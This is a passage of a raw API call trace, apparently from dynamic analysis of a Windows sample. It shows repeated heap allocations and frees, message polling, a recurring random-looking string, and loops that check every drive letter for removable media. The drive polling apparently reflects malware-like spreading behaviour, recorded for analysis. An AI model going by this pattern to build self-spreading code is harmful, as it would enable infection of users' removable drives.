Size=0x10) returned 0x1076868 [0170.476] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0170.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0170.476] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0170.476] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.476] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.476] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.476] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.476] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.476] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.477] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.477] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.477] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.477] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.477] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.477] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.478] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.479] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.479] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.479] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.479] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.480] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.480] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.480] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.480] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.481] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0170.482] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.482] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe8d8 [0170.482] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0170.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0170.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe8d8 | out: hHeap=0xe80000) returned 1 [0170.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0170.483] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0170.483] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0170.483] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0170.484] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0170.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0170.484] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0170.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.485] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.485] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.485] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.485] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.486] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0170.486] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0170.486] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.486] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768f8 [0170.486] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed28c8 [0170.486] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.486] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0170.487] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0170.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0170.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0170.488] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.488] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.488] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.489] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.489] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.489] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.489] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.490] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.490] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.491] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.491] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.491] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.492] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.492] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.492] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.492] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.492] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.493] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.493] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.493] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.493] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.493] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.493] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.494] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.494] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.494] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.494] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0170.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0170.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.602] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.602] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.602] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0170.602] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.602] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.602] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.603] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0170.603] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.603] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.603] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe878 [0170.603] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe878 | out: hHeap=0xe80000) returned 1 [0170.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.603] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0170.603] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.604] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0170.604] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed28c8 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.605] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0170.605] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.605] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0170.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.606] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0170.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0170.606] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0170.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0170.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768e0 [0170.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0170.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.606] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0170.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.607] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.607] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0170.607] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0170.607] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0170.608] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0170.608] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0170.608] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0170.608] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0170.608] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0170.608] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0170.608] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0170.609] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0170.610] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0170.611] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0170.611] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0170.611] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0170.611] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.611] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.611] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.612] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.612] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.612] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.612] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.612] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe698 [0170.612] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0170.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0170.612] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe698 | out: hHeap=0xe80000) returned 1 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.613] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec550 [0170.613] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec550 | out: hHeap=0xe80000) returned 1 [0170.613] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0170.613] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0170.614] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.614] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0170.614] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.615] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0170.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2880 [0170.615] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0170.615] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2880 | out: hHeap=0xe80000) returned 1 [0170.615] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0170.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0170.615] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0170.616] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0170.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 